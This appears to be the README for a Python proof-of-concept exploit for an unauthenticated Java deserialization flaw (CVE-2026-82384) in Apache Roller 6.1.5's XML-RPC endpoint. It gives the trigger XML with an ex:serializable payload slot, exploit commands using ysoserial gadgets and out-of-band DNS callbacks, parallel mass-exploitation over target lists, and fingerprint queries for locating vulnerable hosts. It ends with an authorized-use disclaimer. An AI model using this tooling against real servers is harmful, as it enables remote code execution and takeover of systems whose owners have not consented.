针对 CVE-2026-82384 的 Python 3 PoC —— Apache Roller 6.1.5 遗留 XML-RPC servlet 上的未认证 Java 反序列化。
PoC 页面: https://pocbit.org/pocs/cve-2026-82384
Apache Roller 是一个基于 Java 的多用户 博客服务器(历史上称为“Roller Weblogger”)。部署形式通常是 Tomcat WAR,UI 位于 /roller-ui/ 下,遗留的 Blogger / MetaWeblog API 通过 XML-RPC 暴露在 /roller-services/xmlrpc。Roller 6.1.5(2025 年 9 月)修复了一个无关的会话问题(CVE-2025-24859),但使 XML-RPC 栈处于对本 CVE 而言危险的配置状态。
CVE-2026-82384 是 XML-RPC 端点上的不可信数据反序列化(CWE-502):
XmlRpcServlet 配置了 enabledForExtensions=true,因此 Apache ws-xmlrpc 库接受厂商扩展类型,包括 ex:serializable —— 一个 base64 编码的 Java 序列化对象。web.xml 中始终存在,因此即使管理员在 Roller 设置中禁用 XML-RPC(webservices.enableXmlRpc=false),解析器仍会运行。在 UI 中禁用该功能并不能在 6.1.5 上关闭这条预认证路径。受影响: 仅 Apache Roller 6.1.5(依据厂商公告)。
已修复: Apache Roller 6.1.6+(PR #171):enabledForExtensions=false,并且当 XML-RPC 全局禁用时拒绝请求。
| 指标 | 值 |
|---|---|
| CVSS 3.1 | 9.8 严重 — AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| 认证 | 反序列化原语无需认证 |
| 发现者 | n0mi1k |
| 厂商 | Apache Software Foundation |
| 项目 | 详情 |
|---|---|
| 端点 | POST /roller-services/xmlrpc(也可尝试 /roller/roller-services/xmlrpc) |
| Content-Type | text/xml |
| 触发方式 | 在 methodCall 内使用 <ex:serializable xmlns:ex="http://ws.apache.org/xmlrpc/namespaces/extensions">BASE64</ex:serializable> |
| Gadget 链 | 取决于 classpath(Commons Collections 等);通常使用 ysoserial 生成 |
| 影响 | 以 Tomcat/Roller 操作系统用户身份实现 RCE;通常可完全控制博客数据并横向移动主机 |
| 模式 | 行为 |
|---|---|
check | 查找 Roller 指纹,定位 XML-RPC URL,可选 --probe-deser(发送 ex:serializable 探测字节) |
exploit | 提交你的序列化 payload(文件、base64,或通过 --ysoserial-jar 使用 ysoserial) |
| 批量 | --list targets.txt --mode exploit -j N —— 并行批量处理,输出 JSONL + exploited.txt |
PoCbit 字段: 每行 JSONL 均包含 pocbit、pocbit_catalog、pocbit_page。
CLI: 彩色横幅,[HIT] / [EXPLOIT] / [FAIL] 行(使用 --no-color 禁用)。
本仓库不附带可用的 RCE gadget 链(依赖 classpath)。如需真实利用,请提供 ysoserial 输出或经过验证的 payload 文件。
pip install -r requirements.txt
对于 RCE(不仅仅是检测):
URLDNS(带外证明)、CommonsCollections6(在典型 Roller classpath 上执行命令——请先在实验环境中验证)python poc.py -u https://blog.example.com --mode check
python poc.py -u https://blog.example.com --mode check --probe-deser
python poc.py --list targets.example.txt --mode check -j 12
# OOB DNS proof (replace with your collaborator)
python poc.py -u https://blog.example.com --mode exploit \
--ysoserial-jar ysoserial.jar --ysoserial-gadget URLDNS \
--ysoserial-cmd pocbit.your-oast.domain
# Pre-generated base64 payload file
python poc.py -u https://blog.example.com --mode exploit --payload-file chain.b64
# Raw ysoserial bytes on disk
python poc.py -u https://blog.example.com --mode exploit --payload-file payload.bin
python poc.py --list targets.txt --mode exploit \
--ysoserial-jar ysoserial.jar --ysoserial-gadget URLDNS \
--ysoserial-cmd oast.example.com -j 10
输出:
cve_2026_82384_exploit.jsonl — 每个目标的 JSONexploited.txt — 载荷被接受 / 已发送 OOB 的目标<?xml version="1.0" encoding="UTF-8"?>
<methodCall>
<methodName>system.listMethods</methodName>
<params>
<param>
<value>
<ex:serializable xmlns:ex="http://ws.apache.org/xmlrpc/namespaces/extensions">
BASE64_JAVA_SERIALIZED_OBJECT
</ex:serializable>
</value>
</param>
</params>
</methodCall>
在 6.1.5 上,解析此请求体时,可能在任意方法处理器执行凭据校验之前就完成反序列化。
/roller-services/xmlrpc(仅允许管理员 IP 白名单)。Apache Roller、/roller-ui/、8080/8443 端口的博客主机。body="Apache Roller"
body="/roller-ui/"
body="/roller-services/xmlrpc"
title="Roller"
在将其视为可利用之前,请从页脚、关于页面或 WEB-INF / 发布说明中确认版本为 6.1.5。
仅可在你获得授权测试的系统上使用。反序列化漏洞利用可能会破坏数据,若被滥用则可能违反法律。